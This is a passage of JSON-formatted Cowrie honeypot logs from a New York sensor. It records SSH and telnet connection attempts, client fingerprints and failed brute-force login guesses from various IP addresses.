16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.340026Z","src_ip":"193.228.128.84","session":"f6ebee2cc87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia","message":"login attempt [root/nokia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.646820Z","src_ip":"193.228.128.84","session":"f6ebee2cc87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":46064,"dst_ip":"10.17.0.5","dst_port":22,"session":"359264dfef23","protocol":"ssh","message":"New connection: 94.159.110.201:46064 (10.17.0.5:22) [session: 359264dfef23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.688123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.693945Z","src_ip":"94.159.110.201","session":"359264dfef23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:16.812665Z","src_ip":"94.159.110.201","session":"359264dfef23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135792468","message":"login attempt [root/135792468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:17.170017Z","src_ip":"94.159.110.201","session":"359264dfef23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:17.751891Z","src_ip":"193.228.128.84","session":"f6ebee2cc87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:18.290837Z","src_ip":"94.159.110.201","session":"359264dfef23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.916396141052246,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:46.161924Z","src_ip":"152.42.224.71","session":"b78b1f8e1f1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.38022518157959,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:05:49.596978Z","src_ip":"152.42.224.71","session":"a879c3a4bb69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50726,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c19470288b9","protocol":"telnet","message":"New connection: 152.42.224.71:50726 (10.17.0.5:23) [session: 3c19470288b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:24.650472Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":40018,"dst_ip":"159.203.135.109","dst_port":22,"session":"7434b0f17126","protocol":"ssh","message":"New connection: 194.113.233.25:40018 (159.203.135.109:22) [session: 7434b0f17126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:46.372647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:46.379686Z","src_ip":"194.113.233.25","session":"7434b0f17126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:46.472286Z","src_ip":"194.113.233.25","session":"7434b0f17126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111a","message":"login attempt [root/11111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:46.750267Z","src_ip":"194.113.233.25","session":"7434b0f17126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:47.845027Z","src_ip":"194.113.233.25","session":"7434b0f17126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.659817934036255,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:58.310195Z","src_ip":"152.42.224.71","session":"3c19470288b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":37012,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd546875172","protocol":"telnet","message":"New connection: 213.108.3.46:37012 (10.17.0.5:23) [session: 2fd546875172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:58.865629Z"}
{"eventid":"cowrie.session.closed","duration":0.018328428268432617,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:06:58.883889Z","src_ip":"213.108.3.46","session":"2fd546875172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":34584,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b2381463df8","protocol":"ssh","message":"New connection: 103.149.170.125:34584 (159.203.135.109:22) [session: 2b2381463df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:01.698643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:01.705104Z","src_ip":"103.149.170.125","session":"2b2381463df8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:01.978158Z","src_ip":"103.149.170.125","session":"2b2381463df8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lenochka","message":"login attempt [root/lenochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:02.777658Z","src_ip":"103.149.170.125","session":"2b2381463df8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:04.042000Z","src_ip":"103.149.170.125","session":"2b2381463df8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":55825,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8a1ab169742","protocol":"ssh","message":"New connection: 213.209.159.56:55825 (10.17.0.5:22) [session: e8a1ab169742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:16.194317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:16.200476Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:16.283010Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize","message":"login attempt [charlize/charlize] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:16.683774Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":51700,"dst_ip":"10.17.0.5","dst_port":22,"session":"e323cb22bf51","protocol":"ssh","message":"New connection: 193.37.70.224:51700 (10.17.0.5:22) [session: e323cb22bf51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:17.539925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:17.544425Z","src_ip":"193.37.70.224","session":"e323cb22bf51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:17.680133Z","src_ip":"193.37.70.224","session":"e323cb22bf51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize1","message":"login attempt [charlize/charlize1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:17.772764Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"buster","message":"login attempt [root/buster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:18.121614Z","src_ip":"193.37.70.224","session":"e323cb22bf51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize123","message":"login attempt [charlize/charlize123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:18.857972Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:19.254173Z","src_ip":"193.37.70.224","session":"e323cb22bf51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize1234","message":"login attempt [charlize/charlize1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:19.943044Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charlize","password":"charlize12345","message":"login attempt [charlize/charlize12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:21.028875Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:22.114212Z","src_ip":"213.209.159.56","session":"e8a1ab169742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52742,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd4bc07837d5","protocol":"ssh","message":"New connection: 152.42.212.128:52742 (159.203.135.109:22) [session: fd4bc07837d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:32.757388Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:32.762514Z","src_ip":"152.42.212.128","session":"fd4bc07837d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:32.770927Z","src_ip":"152.42.212.128","session":"fd4bc07837d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56870,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a160f3c83f","protocol":"ssh","message":"New connection: 80.94.92.184:56870 (10.17.0.5:22) [session: 41a160f3c83f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:51.064584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:51.172055Z","src_ip":"80.94.92.184","session":"41a160f3c83f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:51.552938Z","src_ip":"80.94.92.184","session":"41a160f3c83f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:52.587869Z","src_ip":"80.94.92.184","session":"41a160f3c83f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:07:54.117544Z","src_ip":"80.94.92.184","session":"41a160f3c83f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.114.156.169","src_port":54898,"dst_ip":"10.17.0.5","dst_port":22,"session":"81bb6e036c83","protocol":"ssh","message":"New connection: 167.114.156.169:54898 (10.17.0.5:22) [session: 81bb6e036c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.150614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.157355Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 